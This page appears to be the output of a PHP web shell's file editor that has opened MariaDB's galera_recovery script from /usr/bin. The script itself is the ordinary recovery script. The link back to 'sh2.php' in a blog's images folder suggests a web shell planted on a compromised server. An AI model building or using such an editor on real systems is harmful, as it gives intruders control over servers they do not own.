<h2>Edit File - galera_recovery</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/bin/galera_recovery">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/bin/sh

# Copyright (c) 2016 MariaDB Corporation
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1335  USA */


# This script is intended to be executed by systemd. It starts mysqld with
# --wsrep-recover to recover from a non-graceful shutdown, determines the
# last stored global transaction ID and echoes it in --wsrep-start-position=XX
# format. The output is then captured and used by systemd to start mysqld.
# If the server was configured to start without wsrep, nothing is echoed.

cmdline_args=$@
user=&quot;mysql&quot;
print_defaults=&quot;/usr/bin/my_print_defaults&quot;
log_file=$(mktemp /tmp/wsrep_recovery.XXXXXX)
euid=$(id -u)
recovered_pos=&quot;&quot;
skipped=&quot;&quot;
start_pos=&quot;&quot;
start_pos_opt=&quot;&quot;
ret=0
wsrep_on=0

log ()
{
  local msg=&quot;$1&quot;
  # Print all messages to stderr as we reserve stdout for printing
  # --wsrep-start-position=XXXX.
  echo &quot;$msg&quot; &gt;&amp;2
}

finish()
{
  rm -f &quot;$log_file&quot;
}

trap finish EXIT

parse_arguments() {
  for arg do
    val=`echo &quot;$arg&quot; | sed -e &quot;s;--[^=]*=;;&quot;`
    case &quot;$arg&quot; in
      --wsrep[-_]on) wsrep_on=1 ;;
      --skip[-_]wsrep[-_]on) wsrep_on=0 ;;
      --wsrep[-_]on=*)
        if echo $val | grep -iq &#039;\(ON\|1\)&#039;; then
          wsrep_on=1
        else
          wsrep_on=0
        fi
        ;;
    esac
  done
}

wsrep_recover_position() {
  # Redirect server&#039;s error log to the log file.
  eval /usr/sbin/mariadbd $cmdline_args --user=$user --wsrep_recover \
    --disable-log-error 2&gt; &quot;$log_file&quot;
  ret=$?
  if [ $ret -ne 0 ]; then
    # Something went wrong, let us also print the error log so that it
    # shows up in systemctl status output as a hint to the user.
    log &quot;WSREP: Failed to start mysqld for wsrep recovery: &#039;`cat $log_file`&#039;&quot;
    exit 1
  fi

  # Parse server&#039;s error log for recovered position. The server prints
  # &quot;..skipping position recovery..&quot; if started without wsrep.

  recovered_pos=&quot;$(grep -a &#039;WSREP: Recovered position:&#039; $log_file)&quot;

  if [ -z &quot;$recovered_pos&quot; ]; then
    skipped=&quot;$(grep -a WSREP $log_file | grep &#039;skipping position recovery&#039;)&quot;
    if [ -z &quot;$skipped&quot; ]; then
      log &quot;WSREP: Failed to recover position: &#039;`cat $log_file`&#039;&quot;
      exit 1
    else
      log &quot;WSREP: Position recovery skipped.&quot;
    fi
  else
    start_pos=&quot;$(echo $recovered_pos | sed &#039;s/.*WSREP\:\ Recovered\ position://&#039; \
                    | sed &#039;s/^[ \t]*//&#039;)&quot;
    log &quot;WSREP: Recovered position $start_pos&quot;
    start_pos_opt=&quot;--wsrep_start_position=$start_pos&quot;
  fi
}

# Safety checks
if [ -n &quot;$log_file&quot; -a -f &quot;$log_file&quot; ]; then
  chmod 600 $log_file
else
  log &quot;WSREP: mktemp failed&quot;
fi

parse_arguments `$print_defaults $cmdline_args --loose-verbose --mysqld`

# Perform wsrep position recovery if wsrep_on=1, skip otherwise.
if [ &quot;$wsrep_on&quot; -eq 1 ]; then
  wsrep_recover_position
fi

echo &quot;$start_pos_opt&quot;

</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>